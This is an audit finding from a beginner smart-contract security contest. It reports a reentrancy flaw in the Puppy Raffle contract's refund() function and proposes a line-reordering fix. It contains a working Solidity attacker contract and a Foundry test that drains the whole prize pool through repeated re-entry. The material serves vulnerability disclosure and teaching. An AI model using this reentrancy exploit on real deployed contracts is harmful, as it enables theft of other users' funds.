Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
Submission Details
Impact: high
Likelihood: high

Reentrancy in refund() allows an attacker to drain the entire prize pool

Author Revealed upon completion

Root + Impact

Description

refund() sends ETH to the player BEFORE clearing their slot in the players array. sendValue forwards all gas, so a malicious player contract can re-enter refund() from its receive() function and pass both require checks every time, because its slot is still non-zero. One attacker who entered with 1 ETH can drain the entire contract balance.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood: High — any player can deploy the attacker contract and run this; no special privileges or timing needed.

Impact: High — the attacker drains the whole prize pool (all other players' entrance fees). PoC: 4 honest players (4 ETH) + attacker (1 ETH) = 5 ETH in the pot; a single refund() call leaves the contract at 0 and the attacker at 5 ETH.

Proof of Concept

contract ReentrancyAttacker {
PuppyRaffle public raffle;
uint256 public attackerIndex;
​
constructor(address _raffle) { raffle = PuppyRaffle(_raffle); }
​
function enter(uint256 index) external payable {
attackerIndex = index;
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: msg.value}(players);
}
​
function attack() external { raffle.refund(attackerIndex); }
​
receive() external payable {
if (address(raffle).balance >= 1 ether) {
raffle.refund(attackerIndex);
}
}
}
​
function test_H1_RefundReentrancyDrainsContract() public {
_enterPlayers(4, 100); // 4 honest players, 4 ETH in the pot
ReentrancyAttacker attacker = new ReentrancyAttacker(address(raffle));
attacker.enter{value: 1 ether}(4); // attacker is player index 4
assertEq(address(raffle).balance, 5 ether);
​
attacker.attack(); // one refund() call, re-entered from receive()
​
assertEq(address(raffle).balance, 0, "contract should be fully drained");
assertEq(address(attacker).balance, 5 ether, "attacker entered 1 ETH, leaves with 5 ETH");
}

Recommended Mitigation

- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!